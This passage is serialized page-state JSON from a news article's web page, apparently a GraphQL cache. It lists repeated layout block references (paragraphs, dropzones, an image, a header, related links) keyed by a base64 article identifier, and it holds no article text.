y9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.18","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.19","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.20","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.21","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.22","typename":"ImageBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.23","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.24","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.25","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.26","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.27","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.28","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.29","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.30","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.31","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.32","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.33","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.34","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.35","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.36","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.37","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.38","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.39","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.40","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.41","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.42","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.43","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.44","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.45","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.46","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.47","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.48","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.49","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.50","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.51","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.52","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.53","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.54","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.55","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.56","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.57","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.58","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.59","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.60","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.61","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.62","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.63","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.64","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.65","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.66","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.67","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.68","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.69","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.70","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.71","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.72","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.73","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.74","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.75","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.76","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.77","typename":"RelatedLinksBlock"}],"content@take({\"first\":10000})@filterEmpty":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.0","typename":"HeaderBasicBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.1","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.2","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.3","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.4","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.5","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.6","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.7","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.8","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.9","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.10","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.11","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.12","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.13","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.14","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.15","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.16","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.17","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.18","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.19","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.20","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.21","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.22","typename":"ImageBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.23","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.24","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.25","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.26","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.27","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.28","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.29","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.30","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.31","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.32","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.33","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.34","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.35","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.36","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.37","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.38","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.39","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.40","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.41","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.42","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.43","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.44","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.45","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.46","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.47","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.48","typename":"ParagraphBlock"},{"type":"id","generated":t